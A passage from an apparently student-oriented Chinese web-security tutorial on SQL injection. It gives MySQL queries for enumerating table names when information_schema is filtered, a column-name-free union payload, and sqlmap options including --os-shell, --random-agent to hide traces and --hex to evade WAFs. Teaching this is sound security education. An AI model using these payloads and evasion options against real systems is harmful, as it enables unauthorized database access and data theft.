被过滤""></a></h3><p>在 SQL 注入中,<code>infromation_schema</code> 库的作用无非就是可以获取到 <code>table_schema, table_name, column_name</code> 这些数据库内的信息。</p><h4 id="mysql-5-6-的新特性" tabindex="-1">MySQL 5.6 的新特性 <a class="header-anchor" href="#mysql-5-6-的新特性" aria-label="Permalink to "MySQL 5.6 的新特性""></a></h4><p>在 MySQL 5.5.x 之后的版本,MySQL 开始将 innoDB 引擎作为 MySQL 的默认引擎,因此从 MySQL 5.6.x 版本开始,MySQL 在数据库中添加了两张表,<code>innodb_index_stats</code> 和 <code>innodb_table_stats</code>,两张表都会存储数据库和对应的数据表。</p><p>因此,从 MySQL 5.6.x 开始,有了取代 <code>information_schema</code> 的表名查询方式,如下所示</p><div class="language-python vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">python</span><pre class="shiki shiki-themes github-light github-dark vp-code" tabindex="0"><code><span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">select table_name </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">from</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> mysql.innodb_index_stats where database_name</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">=*</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">database</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">*</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">()</span><span style="--shiki-light:#B31D28;--shiki-dark:#FDAEB7;--shiki-light-font-style:italic;--shiki-dark-font-style:italic;">;</span></span>
|
||
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">select table_name </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">from</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> mysql.innodb_table_stats where database_name</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">=*</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">database</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">*</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">()</span><span style="--shiki-light:#B31D28;--shiki-dark:#FDAEB7;--shiki-light-font-style:italic;--shiki-dark-font-style:italic;">;</span></span></code></pre></div><p><img src="https://cdn.xyxsw.site/boxcnbMtjAq8osStjcSbFuIdDSc.png" alt=""></p><h4 id="mysql-5-7-的新特性" tabindex="-1">MySQL 5.7 的新特性 <a class="header-anchor" href="#mysql-5-7-的新特性" aria-label="Permalink to "MySQL 5.7 的新特性""></a></h4><p>由于 <code>performance_schema</code> 过于发杂,所以 MySQL 在 5.7 版本中新增了 <code>Sys schema</code> 视图,基础数据来自于 <code>performance_chema</code> 和 <code>information_schema</code> 两个库。</p><p>而其中有这样一个视图,<code>schema_table_statistics_with_buffer,x$schema_table_statistics_with_buffer</code>,我们可以翻阅官方文档对其的解释</p><blockquote><p>查询表的统计信息,其中还包括 InnoDB 缓冲池统计信息,默认情况下按照增删改查操作的总表 I/O 延迟时间(执行时间,即也可以理解为是存在最多表 I/O 争用的表)降序排序,数据来源:performance_schema.table_io_waits_summary_by_table、sys.x$ps_schema_table_statistics_io、sys.x$innodb_buffer_stats_by_table</p></blockquote><p>其中就包含了存储数据库和对应的数据表,于是就有了如下的表名查询方式</p><div class="language-sql vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">sql</span><pre class="shiki shiki-themes github-light github-dark vp-code" tabindex="0"><code><span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">select</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> table_name </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">from</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;"> sys</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">.</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;">schema_table_statistics_with_buffer</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;"> where</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> table_schema</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">=*database*</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">();</span></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">select</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> table_name </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">from</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;"> sys</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">.</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;">x</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">$schema_table_statistics_with_buffer </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">where</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> table_schema</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">=*database*</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">();</span></span></code></pre></div><p><img src="https://cdn.xyxsw.site/boxcnV68mdIQmovJwczDsOc53gc.png" alt=""></p><h3 id="无列名注入" tabindex="-1">无列名注入 <a class="header-anchor" href="#无列名注入" aria-label="Permalink to "无列名注入""></a></h3><p>在因为 <code>information_schema</code> 被过滤或其他原因无法获得字段名的时候,可以通过别名的方式绕过获取字段名的这一步骤</p><p><code>select a,b from (select 1 as a, 2 as b union select * from users)x;</code></p><p><img src="https://cdn.xyxsw.site/boxcnI3jJNlLqq4f7WqRKGEWTeh.png" alt=""></p><h2 id="超脱-mysql-之外-todo" tabindex="-1">超脱 MySQL 之外 (TODO) <a class="header-anchor" href="#超脱-mysql-之外-todo" aria-label="Permalink to "超脱 MySQL 之外 (TODO)""></a></h2><h3 id="不同数据库后端的判别" tabindex="-1">不同数据库后端的判别 <a class="header-anchor" href="#不同数据库后端的判别" aria-label="Permalink to "不同数据库后端的判别""></a></h3><p>虽然在以往的 CTF 比赛中,MySQL 的出镜率非常高,但在绝大多数的生产环境中(起码在国内),OracleDB、MSSQL 等数据库是绝对的占有率霸主。而一些大型互联网企业则可能使用的是更新的“高新技术”,例如 ClickHouse、PostgreSQL、MongoDB 等。</p><p>那么如何去判别一个 Web 应用的数据库后端用的是什么呢?</p><p>这一小节就来简单地讲一讲一些针对这种情况的常见方法。</p><h3 id="各数据库的攻击面拓展" tabindex="-1">各数据库的攻击面拓展 <a class="header-anchor" href="#各数据库的攻击面拓展" aria-label="Permalink to "各数据库的攻击面拓展""></a></h3><h3 id="nosql-注入" tabindex="-1">noSQL 注入 <a class="header-anchor" href="#nosql-注入" aria-label="Permalink to "noSQL 注入""></a></h3><p>工具 nosqlmap</p><h2 id="sql-注入防范手段-todo" tabindex="-1">SQL 注入防范手段 (TODO) <a class="header-anchor" href="#sql-注入防范手段-todo" aria-label="Permalink to "SQL 注入防范手段 (TODO)""></a></h2><h2 id="一些-cve-复现-todo" tabindex="-1">一些 CVE 复现 (TODO) <a class="header-anchor" href="#一些-cve-复现-todo" aria-label="Permalink to "一些 CVE 复现 (TODO)""></a></h2><h3 id="thinkphp-sql-注入" tabindex="-1">ThinkPHP SQL 注入 <a class="header-anchor" href="#thinkphp-sql-注入" aria-label="Permalink to "ThinkPHP SQL 注入""></a></h3><h3 id="django-sql-注入" tabindex="-1">Django SQL 注入 <a class="header-anchor" href="#django-sql-注入" aria-label="Permalink to "Django SQL 注入""></a></h3><h3 id="gorm-sql-注入" tabindex="-1">Gorm SQL 注入 <a class="header-anchor" href="#gorm-sql-注入" aria-label="Permalink to "Gorm SQL 注入""></a></h3><h2 id="数据库注入工具-sqlmap-及其高级使用指南" tabindex="-1">数据库注入工具 SQLMAP 及其高级使用指南 <a class="header-anchor" href="#数据库注入工具-sqlmap-及其高级使用指南" aria-label="Permalink to "数据库注入工具 SQLMAP 及其高级使用指南""></a></h2><blockquote><p>这里不讨论诸如 -u 这种简单参数</p></blockquote><h3 id="一些特殊参数" tabindex="-1">一些特殊参数 <a class="header-anchor" href="#一些特殊参数" aria-label="Permalink to "一些特殊参数""></a></h3><h4 id="r-文件名" tabindex="-1">-r [文件名] <a class="header-anchor" href="#r-文件名" aria-label="Permalink to "-r [文件名]""></a></h4><p>当你从 Burp 之类的工具中发现了 数据库注入的痕迹</p><p>可以全选右键保存你发送有效载荷(含有 Sql 注入的语句)的明文报文</p><p>复制到文件中保存</p><p>使用 -r 后跟保存的文件 sqlmap 会自动获得发送恶意报文的神奇能力(x 其实是自动解析了)</p><p>对你传入的报文的目标进行自动化的 sql 注入</p><h4 id="sql-shell" tabindex="-1">--sql-shell <a class="header-anchor" href="#sql-shell" aria-label="Permalink to "--sql-shell""></a></h4><p>在摸索到 数据库注入的时候 生成一个交互式的数据库注入</p><p>可以直接编写可执行的 sql 语句</p><p>例如 select "123"</p><p>Sqlmap 会自动探寻目标的注入返回结果 减少手动编写 payload 的辛劳</p><blockquote><p>尤其是写了半天发现引号对不上等等</p></blockquote><h4 id="os-shell" tabindex="-1">--os-shell <a class="header-anchor" href="#os-shell" aria-label="Permalink to "--os-shell""></a></h4><p>一个新手以为很牛逼但是其实很鸡肋的功能 可以获取 shell 一般是通过数据库注入获取到写文件的权限,写入 webshell 文件 的原理拿到对方机器的 shell</p><p>可是这个玩意非常的鸡肋</p><p>因为 默认数据库配置不具有这种问题需要另外配置 此外环境需要支持类似动态执行的功能 例如 go 起的 web</p><h4 id="random-agent" tabindex="-1">--random-agent <a class="header-anchor" href="#random-agent" aria-label="Permalink to "--random-agent""></a></h4><p>一般不用 但是 sqlmap 在进行 web 的注入时会使用 sqlmap 的 User-Agent 痕迹非常明显</p><p>可以用这个消磨一下自己的痕迹</p><h4 id="second-url" tabindex="-1">--second-url <a class="header-anchor" href="#second-url" aria-label="Permalink to "--second-url""></a></h4><p>对于一些非常复杂的数据库二次注入 sqlmap 其实是没有办法的 例如需要鉴权(?)</p><blockquote><p>此处有待考证</p></blockquote><p>但是对于简单的一些二次注入,可以通过这个参数获取到存在数据库注入界面的结果界面。让 sqlmap 获取到 数据库注入的结果。</p><h4 id="technique" tabindex="-1">--technique <a class="header-anchor" href="#technique" aria-label="Permalink to "--technique""></a></h4><p>技巧 指定 sqlmap 使用的注入技术</p><p>有以下几种</p><ul><li><code>t</code> 基于时间 time</li><li><code>b</code> 基于布尔 boolean</li><li><code>e</code> 基于报错 error</li><li><code>u</code> 联合注入 union</li><li><code>q</code> 内联注入 inline query</li><li><code>s</code> 堆叠注入 stack</li></ul><p>通常而言 sqlmap 在进行自动化注入尝试的时候常常是会先检测到 time 这一类注入</p><p>但是对于 union 和 boolean 则是最后进行检查的</p><p>而往往当你存在 union 或者 boolean 注入的时候,其实 time 多半也会一同存在</p><p>Sqlmap 很可能在接下来的 数据库注入后利用中使用耗时更为巨大的 time 注入技巧</p><p>这对于攻击者其实是不利的</p><p>那么通过这个参数去指定对应的注入技巧 可以大大减少数据库注入获取结果的时间 优化你的进攻效率</p><h4 id="dbms" tabindex="-1">--dbms <a class="header-anchor" href="#dbms" aria-label="Permalink to "--dbms""></a></h4><p>指定对应的数据库类型</p><p>Mysql mssql 之类的 sqlmap 就不会去搜索爆破其他类型的数据库</p><h4 id="hex" tabindex="-1">--hex <a class="header-anchor" href="#hex" aria-label="Permalink to "--hex""></a></h4><p>以十六进制来进行注入的技巧</p><p>在数据注入的时候使用这个可以规避掉一些 WAF</p><h2 id="waf-绕过-将特殊的-payload-编码的脚本" tabindex="-1">WAF 绕过 - 将特殊的 payload 编码的脚本 <a class="header-anchor" href="#waf-绕过-将特殊的-payload-编码的脚本" aria-label="Permalink to "WAF 绕过 - 将特殊的 payload 编码的脚本""></a></h2><h2 id="自定义-payload-自定义你的核心攻击语句" tabindex="-1">自定义 Payload - 自定义你的核心攻击语句 <a class="header-anchor" href="#自定义-payload-自定义你的核心攻击语句" aria-label="Permalink to "自定义 Payload - 自定义你的核心攻击语句""></a></h2></div></div></main><footer class="VPDocFooter" data-v-e6f2a212 data-v-1bcd8184><!--[--><!--]--><div class="edit-info" data-v-1bcd8184><div class="edit-link" data-v-1bcd8184><a class="VPLink link vp-external-link-icon no-icon edit-link-button" href="https://gitea.xinxijishubu.asia/moyin/fzu-product/src/branch/main/技术资源汇总(杭电支持版)/6.计算机安全/6.1.1SQL 注入.md" target="_blank" rel="noreferrer" data-v-1bcd8184><!--[--><span class="vpi-square-pen edit-link-icon" data-v-1bcd8184></span> 在 Gitea 上修改此页<!--]--></a></div><!----></div><nav class="prev-next" aria-labelledby="doc-footer-aria-label" data-v-1bcd8184><span class="visually-hidden" id="doc-footer-aria-label" data-v-1bcd8184>Pager</span><div class="pager" data-v-1bcd8184><a class="VPLink link pager-link prev" href="/%E6%8A%80%E6%9C%AF%E8%B5%84%E6%BA%90%E6%B1%87%E6%80%BB(%E6%9D%AD%E7%94%B5%E6%94%AF%E6%8C%81%E7%89%88)/6.%E8%AE%A1%E7%AE%97%E6%9C%BA%E5%AE%89%E5%85%A8/6.1Web%E5%AE%89%E5%85%A8.html" data-v-1bcd8184><!--[--><span class="desc" data-v-1bcd8184>上一小节</span><span class="title" data-v-1bcd8184>6.1Web安全</span><!--]--></a></div><div class="pager" data-v-1bcd8184><a class="VPLink link pager-link next" href="/%E6%8A%80%E6%9C%AF%E8%B5%84%E6%BA%90%E6%B1%87%E6%80%BB(%E6%9D%AD%E7%94%B5%E6%94%AF%E6%8C%81%E7%89%88)/6.%E8%AE%A1%E7%AE%97%E6%9C%BA%E5%AE%89%E5%85%A8/6.2%E4%BA%8C%E8%BF%9B%E5%88%B6%E5%AE%89%E5%85%A8.html" data-v-1bcd8184><!--[--><span class="desc" data-v-1bcd8184>下一小节</span><span class="title" data-v-1bcd8184>6.2二进制安全</span><!--]--></a></div></nav></footer><!--[--><!--]--></div></div></div><!--[--><!--]--></div></div><footer class="VPFooter has-sidebar" data-v-d8b57b2d data-v-566314d4><div class="container" data-v-566314d4><p class="message" data-v-566314d4>Made with ❤️ by ALL 协作者</p><p class="copyright" data-v-566314d4>Copyright © 2023-present Evan You && ALL 协作者</p></div></footer><!--[--><!--]--></div></div>
|
||
<script>window.__VP_HASH_MAP__=JSON.parse("{\"api-examples.md\":\"DzBTNBEE\",\"changelog.md\":\"FPNSm718\",\"contributing.md\":\"CfXOvZqW\",\"contributors.md\":\"waqKZzzq\",\"index.md\":\"C3uDrcUK\",\"markdown-examples.md\":\"ByeFoAfn\",\"readme.md\":\"BdZRJ36M\",\"使用指南.md\":\"Cx3weXYo\",\"技术资源汇总(杭电支持版)_2.高效学习_2.1.1悲壮的学习方式.md\":\"DTYIoXXb\",\"技术资源汇总(杭电支持版)_2.高效学习_2.1.2浮躁的心理状态.md\":\"DqgEG2PN\",\"技术资源汇总(杭电支持版)_2.高效学习_2.1.3错误的提问姿态.md\":\"Dice7HmS\",\"技术资源汇总(杭电支持版)_2.高效学习_2.1.4书籍的盲目崇拜.md\":\"D7lBwdls\",\"技术资源汇总(杭电支持版)_2.高效学习_2.1.5错误的学习配比.md\":\"CC8FrxOY\",\"技术资源汇总(杭电支持版)_2.高效学习_2.1高效的前提:摆脱高中思维.md\":\"y1dZYwTe\",\"技术资源汇总(杭电支持版)_2.高效学习_2.2优雅的使用工具.md\":\"H-IrZPye\",\"技术资源汇总(杭电支持版)_2.高效学习_2.3.1阅读文档(b百度爬).md\":\"CoWHVc10\",\"技术资源汇总(杭电支持版)_2.高效学习_2.3.2检索论文核心内容.md\":\"BQCjGA_6\",\"技术资源汇总(杭电支持版)_2.高效学习_2.3.3优秀的开源社区.md\":\"2FaigHdO\",\"技术资源汇总(杭电支持版)_2.高效学习_2.3高效的信息检索.md\":\"DbplLh_F\",\"技术资源汇总(杭电支持版)_2.高效学习_2.4优雅的记笔记.md\":\"BUxzDzb2\",\"技术资源汇总(杭电支持版)_2.高效学习_2.5以理工科的方式阅读英语.md\":\"CCv1xohP\",\"技术资源汇总(杭电支持版)_2.高效学习_2.6学会使用ai辅助学习.md\":\"BA8DOvYX\",\"技术资源汇总(杭电支持版)_2.高效学习_2.高效学习.md\":\"DceOYwF4\",\"技术资源汇总(杭电支持版)_2.高效学习_补充:为什么不要用百度.md\":\"VkOSQaNc\",\"技术资源汇总(杭电支持版)_3.编程思维体系构建_3.0 编程入门之道.md\":\"RO996sX2\",\"技术资源汇总(杭电支持版)_3.编程思维体系构建_3.1该使用哪个编辑器???.md\":\"B4ayWsWH\",\"技术资源汇总(杭电支持版)_3.编程思维体系构建_3.2.1手把手教你学算法——如何使用oj(online judge).md\":\"BTq8bXJ7\",\"技术资源汇总(杭电支持版)_3.编程思维体系构建_3.2.2acm 竞赛从入门到入坟.md\":\"DHh_AnzE\",\"技术资源汇总(杭电支持版)_3.编程思维体系构建_3.2算法杂谈.md\":\"Dyuzf5Rm\",\"技术资源汇总(杭电支持版)_3.编程思维体系构建_3.3如何选择编程语言.md\":\"BmznmeSr\",\"技术资源汇总(杭电支持版)_3.编程思维体系构建_3.4.1faq:常见问题.md\":\"BnJhsYE9\",\"技术资源汇总(杭电支持版)_3.编程思维体系构建_3.4.2用什么写 c 语言.md\":\"j3UKqDLB\",\"技术资源汇总(杭电支持版)_3.编程思维体系构建_3.4.3解决编程问题的普适性过程.md\":\"C2A_1-Fn\",\"技术资源汇总(杭电支持版)_3.编程思维体系构建_3.4.4c语言前置概念学习.md\":\"BkXXgE64\",\"技术资源汇总(杭电支持版)_3.编程思维体系构建_3.4.5.1c语言自测标准——链表.md\":\"DVzk3soj\",\"技术资源汇总(杭电支持版)_3.编程思维体系构建_3.4.5阶段一:编程属性.md\":\"xzkNgg8e\",\"技术资源汇总(杭电支持版)_3.编程思维体系构建_3.4.6.1.开始冒险.md\":\"BOo28IRY\",\"技术资源汇总(杭电支持版)_3.编程思维体系构建_3.4.6.10.增添属性.md\":\"DfQyVaNx\",\"技术资源汇总(杭电支持版)_3.编程思维体系构建_3.4.6.11.设置条件.md\":\"D1w5O6yc\",\"技术资源汇总(杭电支持版)_3.编程思维体系构建_3.4.6.12.开启关闭.md\":\"CXNDx_7L\",\"技术资源汇总(杭电支持版)_3.编程思维体系构建_3.4.6.13.编写解析器.md\":\"zv8UQDFe\",\"技术资源汇总(杭电支持版)_3.编程思维体系构建_3.4.6.14.丰富命令.md\":\"B6oobOWP\",\"技术资源汇总(杭电支持版)_3.编程思维体系构建_3.4.6.15.赋予明暗.md\":\"DuKXxo2X\",\"技术资源汇总(杭电支持版)_3.编程思维体系构建_3.4.6.16.结语:你终将自由.md\":\"C-H3wZFU\",\"技术资源汇总(杭电支持版)_3.编程思维体系构建_3.4.6.2.探索未知.md\":\"Dic21KtY\",\"技术资源汇总(杭电支持版)_3.编程思维体系构建_3.4.6.3.指明地点.md\":\"CqJJTYJl\",\"技术资源汇总(杭电支持版)_3.编程思维体系构建_3.4.6.4.创建对象.md\":\"sYhd_x2h\",\"技术资源汇总(杭电支持版)_3.编程思维体系构建_3.4.6.5.捡起物品.md\":\"8K1USgEU\",\"技术资源汇总(杭电支持版)_3.编程思维体系构建_3.4.6.6.绘制地图.md\":\"B_DDqfPJ\",\"技术资源汇总(杭电支持版)_3.编程思维体系构建_3.4.6.7.增大距离.md\":\"cJuj5FdO\",\"技术资源汇总(杭电支持版)_3.编程思维体系构建_3.4.6.8.移动方向.md\":\"DfqXtQsJ\",\"技术资源汇总(杭电支持版)_3.编程思维体系构建_3.4.6.9.练习:生成代码.md\":\"BWPCfe12\",\"技术资源汇总(杭电支持版)_3.编程思维体系构建_3.4.6阶段二:文字冒险(cool).md\":\"4wxQiLET\",\"技术资源汇总(杭电支持版)_3.编程思维体系构建_3.4.7.1.1调试理论.md\":\"BG8u_VZC\",\"技术资源汇总(杭电支持版)_3.编程思维体系构建_3.4.7.1gdb初探索(编程可阅览).md\":\"DxwzfDRm\",\"技术资源汇总(杭电支持版)_3.编程思维体系构建_3.4.7.2c的历史问题:undefined behavior.md\":\"DhVRjYVK\",\"技术资源汇总(杭电支持版)_3.编程思维体系构建_3.4.7.3c编译器干了什么.md\":\"BmcVZay6\",\"技术资源汇总(杭电支持版)_3.编程思维体系构建_3.4.7.4inline assembly与链接加载.md\":\"q2t6qdUO\",\"技术资源汇总(杭电支持版)_3.编程思维体系构建_3.4.7c基础知识杂谈.md\":\"aePmhQYd\",\"技术资源汇总(杭电支持版)_3.编程思维体系构建_3.4c语言.md\":\"DkCJewM5\",\"技术资源汇总(杭电支持版)_3.编程思维体系构建_3.5git与github.md\":\"CHDigJYp\",\"技术资源汇总(杭电支持版)_3.编程思维体系构建_3.6.1从cs61a看编程语言学习.md\":\"DqQl-8bT\",\"技术资源汇总(杭电支持版)_3.编程思维体系构建_3.6.2环境配置.md\":\"BhEPqNzV\",\"技术资源汇总(杭电支持版)_3.编程思维体系构建_3.6.3安装python.md\":\"D3dPRaxz\",\"技术资源汇总(杭电支持版)_3.编程思维体系构建_3.6.4.0阶段零:python解释器.md\":\"Dm3hX9NX\",\"技术资源汇总(杭电支持版)_3.编程思维体系构建_3.6.4.1阶段一:熟悉语句.md\":\"CLD1IJhu\",\"技术资源汇总(杭电支持版)_3.编程思维体系构建_3.6.4.2阶段二:递归操作.md\":\"D7XWEtHx\",\"技术资源汇总(杭电支持版)_3.编程思维体系构建_3.6.4.3阶段三:数据抽象.md\":\"CDZ-i__T\",\"技术资源汇总(杭电支持版)_3.编程思维体系构建_3.6.4.4阶段四:高阶函数.md\":\"Dsl4HkDc\",\"技术资源汇总(杭电支持版)_3.编程思维体系构建_3.6.4.5阶段五:迭代生成.md\":\"5HYOHSTp\",\"技术资源汇总(杭电支持版)_3.编程思维体系构建_3.6.4.6结语.md\":\"CCrZz2pj\",\"技术资源汇总(杭电支持版)_3.编程思维体系构建_3.6.4python for fun.md\":\"DkJd7Fze\",\"技术资源汇总(杭电支持版)_3.编程思维体系构建_3.6python(灵巧的胶水).md\":\"DiyVGPhf\",\"技术资源汇总(杭电支持版)_3.编程思维体系构建_3.x 聊聊设计模式和程序设计.md\":\"W9mozi2J\",\"技术资源汇总(杭电支持版)_3.编程思维体系构建_3.y 附加模块:linux.md\":\"BCrGPX21\",\"技术资源汇总(杭电支持版)_3.编程思维体系构建_3.y.0计算机教育中缺失的一课.md\":\"BWm_rSoC\",\"技术资源汇总(杭电支持版)_3.编程思维体系构建_3.y.1linux概念普及.md\":\"CzzMXts9\",\"技术资源汇总(杭电支持版)_3.编程思维体系构建_3.y.2双系统安装和发行版推荐.md\":\"CVKz1ljH\",\"技术资源汇总(杭电支持版)_3.编程思维体系构建_3.y.3vmware的安装与安装ubuntu22.04系统.md\":\"DvLQFSm4\",\"技术资源汇总(杭电支持版)_3.编程思维体系构建_3.y.4wsl的安装.md\":\"DxhJ6pfj\",\"技术资源汇总(杭电支持版)_3.编程思维体系构建_3.y.5linux初探索.md\":\"DsLYXQrx\",\"技术资源汇总(杭电支持版)_3.编程思维体系构建_3.y.6vim初探索.md\":\"ZriWo4yK\",\"技术资源汇总(杭电支持版)_3.编程思维体系构建_3.y.7linux小任务.md\":\"B0_ZolbN\",\"技术资源汇总(杭电支持版)_3.编程思维体系构建_3.编程思维体系构建.md\":\"buCvJWRO\",\"技术资源汇总(杭电支持版)_4.人工智能_4.10llmagent之结构化输出.md\":\"CiF3m2Gf\",\"技术资源汇总(杭电支持版)_4.人工智能_4.11本章节内容的局限性.md\":\"VdWbP1WW\",\"技术资源汇总(杭电支持版)_4.人工智能_4.1前言.md\":\"CbAU8DCP\",\"技术资源汇总(杭电支持版)_4.人工智能_4.2机器学习(ai)快速入门(quick start).md\":\"BEeOolYI\",\"技术资源汇总(杭电支持版)_4.人工智能_4.3.1.1程序示例——maze迷宫解搜索.md\":\"-nQ9ZG02\",\"技术资源汇总(杭电支持版)_4.人工智能_4.3.1.2项目:tic-tac-toe井字棋.md\":\"DpxLT41Z\",\"技术资源汇总(杭电支持版)_4.人工智能_4.3.1搜索.md\":\"oc9gmWWK\",\"技术资源汇总(杭电支持版)_4.人工智能_4.3.2.1程序示例——命题逻辑与模型检测.md\":\"CVT6S5El\",\"技术资源汇总(杭电支持版)_4.人工智能_4.3.2.2项目:扫雷,骑士与流氓问题.md\":\"DnpnWZd9\",\"技术资源汇总(杭电支持版)_4.人工智能_4.3.2知识推理.md\":\"Bdg-XBSz\",\"技术资源汇总(杭电支持版)_4.人工智能_4.3.3.1程序示例.md\":\"D2D5pU2z\",\"技术资源汇总(杭电支持版)_4.人工智能_4.3.3.2项目:遗传.md\":\"Bee7dgw8\",\"技术资源汇总(杭电支持版)_4.人工智能_4.3.3不确定性问题.md\":\"WmYBd5ms\",\"技术资源汇总(杭电支持版)_4.人工智能_4.3.4.1程序示例.md\":\"Bm1E_RoV\",\"技术资源汇总(杭电支持版)_4.人工智能_4.3.4.2项目:填词游戏.md\":\"BLt1E6wb\",\"技术资源汇总(杭电支持版)_4.人工智能_4.3.4最优化.md\":\"CJEsAZQH\",\"技术资源汇总(杭电支持版)_4.人工智能_4.3人工智能导论及机器学习入门.md\":\"4RWDZfjp\",\"技术资源汇总(杭电支持版)_4.人工智能_4.4faq:常见问题.md\":\"BnI046IT\",\"技术资源汇总(杭电支持版)_4.人工智能_4.5图网络略述(intro_gcn).md\":\"Cue-WAA8\",\"技术资源汇总(杭电支持版)_4.人工智能_4.6数据分析.md\":\"Cx1ZD5ZH\",\"技术资源汇总(杭电支持版)_4.人工智能_4.7如何做研究.md\":\"CtUhtBrq\",\"技术资源汇总(杭电支持版)_4.人工智能_4.8科研论文写作.md\":\"DSE7qt-X\",\"技术资源汇总(杭电支持版)_4.人工智能_4.9从 ai 到 智能系统 —— 从 llms 到 agents.md\":\"BFVSZab1\",\"技术资源汇总(杭电支持版)_4.人工智能_4.人工智能.md\":\"C7dQQcV1\",\"技术资源汇总(杭电支持版)_5.富有生命的嵌入式_5.1嵌入式是什么?可以吃吗?.md\":\"DSWjKS-a\",\"技术资源汇总(杭电支持版)_5.富有生命的嵌入式_5.2new meaning of c.md\":\"bNGQi2W2\",\"技术资源汇总(杭电支持版)_5.富有生命的嵌入式_5.3还玩裸机?上操作系统!.md\":\"C80bW3ek\",\"技术资源汇总(杭电支持版)_5.富有生命的嵌入式_5.富有生命的嵌入式.md\":\"C3jYEQFL\",\"技术资源汇总(杭电支持版)_6.计算机安全_6.1.1sql 注入.md\":\"DQCIZdYm\",\"技术资源汇总(杭电支持版)_6.计算机安全_6.1web安全.md\":\"DVP9mk53\",\"技术资源汇总(杭电支持版)_6.计算机安全_6.2.1基础工具的使用.md\":\"DLiapAz1\",\"技术资源汇总(杭电支持版)_6.计算机安全_6.2.2软件破解、软件加固.md\":\"BG-KmxLq\",\"技术资源汇总(杭电支持版)_6.计算机安全_6.2.3漏洞挖掘、漏洞利用.md\":\"TTf4uEbG\",\"技术资源汇总(杭电支持版)_6.计算机安全_6.2二进制安全.md\":\"Dx7vf08P\",\"技术资源汇总(杭电支持版)_6.计算机安全_6.3密码学.md\":\"1BmjaKRy\",\"技术资源汇总(杭电支持版)_6.计算机安全_6.4安全杂项.md\":\"C-nq8JBF\",\"技术资源汇总(杭电支持版)_6.计算机安全_6.5学习资料推荐.md\":\"2Z1hvv_V\",\"技术资源汇总(杭电支持版)_6.计算机安全_6.计算机安全.md\":\"DmuFdA7-\",\"技术资源汇总(杭电支持版)_7.网络应用开发_7.1web开发入门.md\":\"cABPZfmp\",\"技术资源汇总(杭电支持版)_7.网络应用开发_7.2.1基础(三件套).md\":\"CeF99FT3\",\"技术资源汇总(杭电支持版)_7.网络应用开发_7.2.2进阶(小项目).md\":\"DkPKrF8C\",\"技术资源汇总(杭电支持版)_7.网络应用开发_7.2.3附录1:前端介绍(详细版).md\":\"D_V6G3Oh\",\"技术资源汇总(杭电支持版)_7.网络应用开发_7.2.4附录2:大前端开发.md\":\"B8u8kcUM\",\"技术资源汇总(杭电支持版)_7.网络应用开发_7.2.5附录3:跨端开发.md\":\"CaT9Y32W\",\"技术资源汇总(杭电支持版)_7.网络应用开发_7.2前端部分.md\":\"DCAcwGVN\",\"技术资源汇总(杭电支持版)_7.网络应用开发_7.3.1基础部分.md\":\"BYudz3X8\",\"技术资源汇总(杭电支持版)_7.网络应用开发_7.3.2进阶部分.md\":\"Cg-7LiyH\",\"技术资源汇总(杭电支持版)_7.网络应用开发_7.3后端部分.md\":\"DYZ24iwb\",\"技术资源汇总(杭电支持版)_7.网络应用开发_7.网络应用开发入门.md\":\"DrgT-DjX\",\"技术资源汇总(杭电支持版)_8.基础学科_8.1经济学科普part1.md\":\"DguU75dE\",\"技术资源汇总(杭电支持版)_8.基础学科_8.基础学科.md\":\"DE7yDZI_\",\"技术资源汇总(杭电支持版)_9.计算机网络_9.1计网速通.md\":\"CkT2fLIN\",\"技术资源汇总(杭电支持版)_9.计算机网络_9.2.3.1ip协议.md\":\"Dm6ee4JO\",\"技术资源汇总(杭电支持版)_9.计算机网络_9.2.3.2子网与无类域间路由.md\":\"C3JPwLoF\",\"技术资源汇总(杭电支持版)_9.计算机网络_9.2.3网络层.md\":\"BNya0rNF\",\"技术资源汇总(杭电支持版)_9.计算机网络_9.3路由与交换.md\":\"BvDV79LN\",\"技术资源汇总(杭电支持版)_9.计算机网络_9.4隧道和代理.md\":\"XNDQhj6B\",\"技术资源汇总(杭电支持版)_9.计算机网络_9.5路由佬入门指南.md\":\"CSkj8qJ8\",\"技术资源汇总(杭电支持版)_9.计算机网络_9.计算机网络.md\":\"CSmCLjNp\",\"技术资源汇总(杭电支持版)_内容索引.md\":\"B9FSKjDT\",\"福大生存指南_1.竞赛指北.md\":\"CshmYRVb\",\"福大生存指南_2.正